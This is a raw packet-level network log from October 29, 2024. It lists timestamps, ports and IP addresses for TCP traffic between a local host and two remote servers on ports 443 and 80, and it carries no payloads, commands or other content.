Oct 29, 2024 17:59:17.408282042 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.408329964 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.408715963 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.408745050 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.409292936 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.409301043 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.409460068 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.409478903 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.409490108 CET	49749	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.409495115 CET	443	49749	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.413585901 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.413623095 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.413656950 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.413686991 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.413747072 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.413801908 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.413902998 CET	49754	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.413921118 CET	443	49754	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.414047956 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.414066076 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.414078951 CET	49750	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.414083958 CET	443	49750	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.420725107 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.420763969 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.420833111 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.420938969 CET	49755	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.420948982 CET	443	49755	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.432393074 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432436943 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432490110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432502031 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432502031 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432506084 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432529926 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432547092 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432595015 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432637930 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432662010 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432678938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432703972 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432703972 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432703972 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432728052 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432883024 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432898998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432915926 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.432948112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.432948112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.433005095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.433048964 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.433057070 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.433120966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.440006971 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.440372944 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.440403938 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.440797091 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.440804958 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.473185062 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.473208904 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.473226070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.473265886 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.473346949 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.488852024 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.488876104 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.488893986 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.488964081 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.488964081 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.488981009 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.488996983 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489013910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489047050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489047050 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489063978 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489115953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489131927 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489146948 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489161968 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489171982 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489171982 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489178896 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489217997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489217997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489217997 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489563942 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489618063 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489757061 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489770889 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489785910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489798069 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489808083 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489823103 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489845991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489845991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489845991 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489892960 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.489902020 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.489936113 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.490426064 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.490439892 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.490454912 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.490470886 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.490485907 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.490498066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.490498066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.490498066 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.490518093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.490530968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.516480923 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.516530991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.516549110 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.516563892 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.516582012 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.516591072 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.516658068 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.516658068 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.539175034 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.539295912 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.539380074 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.539621115 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.539637089 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.539649963 CET	49751	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.539655924 CET	443	49751	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.542457104 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.542490005 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.542567015 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.542738914 CET	49756	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.542754889 CET	443	49756	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.549871922 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.549968004 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550054073 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550074100 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550092936 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550107002 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550107002 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550128937 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550379992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550396919 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550416946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550533056 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550537109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550550938 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550570965 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550589085 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.550610065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550610065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.550635099 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.570467949 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.570537090 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.570620060 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.570811033 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.570811033 CET	49752	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.570837021 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.570849895 CET	443	49752	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.572890043 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.572931051 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.573009014 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.573148966 CET	49757	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:17.573160887 CET	443	49757	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:17.590198994 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.590240002 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.590259075 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.590260983 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.590289116 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.590332985 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606017113 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606040955 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606066942 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606080055 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606086016 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606100082 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606105089 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606123924 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606137037 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606142998 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606158018 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606163979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606183052 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606184959 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606198072 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606220007 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606288910 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606312990 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606328011 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606359005 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606458902 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606501102 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606539965 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606566906 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606579065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606595039 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606908083 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606947899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.606971979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.606997013 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607012033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607033968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607036114 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607053995 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607069016 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607089996 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607161045 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607201099 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607209921 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607251883 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.607271910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.607285976 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835113049 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835165977 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835176945 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835186958 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835208893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835208893 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835220098 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835230112 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835251093 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835278988 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835285902 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835303068 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835330009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835341930 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835365057 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835386992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835402966 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835405111 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835419893 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835423946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835443020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835445881 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835463047 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835474968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835498095 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835514069 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835536957 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835541964 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835557938 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835561037 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835578918 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835597992 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835604906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835604906 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835618019 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835628033 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835628986 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835675955 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835680008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835700035 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835719109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835719109 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835736990 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835737944 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835755110 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835757017 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835771084 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835774899 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835792065 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835814953 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835848093 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835874081 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835887909 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835892916 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835910082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835911036 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835928917 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.835958004 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835958958 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835958958 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.835978985 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836009979 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836018085 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836030006 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836047888 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836047888 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836066008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836070061 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836078882 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836085081 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836106062 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836106062 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836124897 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836129904 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836141109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836147070 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836163998 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836165905 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836184025 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836184025 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836196899 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836204052 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836218119 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836221933 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836240053 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836241007 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836256027 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836256981 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836276054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836277962 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836296082 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836297989 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836316109 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836330891 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836388111 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836406946 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836424112 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836426020 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836441040 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836447001 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836466074 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836466074 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836486101 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836489916 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836504936 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836508036 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836520910 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836524963 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836539984 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836544991 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836564064 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836565018 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836580038 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836584091 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836604118 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836604118 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836618900 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836622953 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836642027 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836659908 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836662054 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836668968 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836682081 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836690903 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836699009 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836702108 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836724043 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836725950 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.836743116 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.836765051 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842556000 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842597008 CET	80	49722	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:17.842618942 CET	49722	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:17.842632055 CET	80	49722	185.215.113.206	192.168.2.6
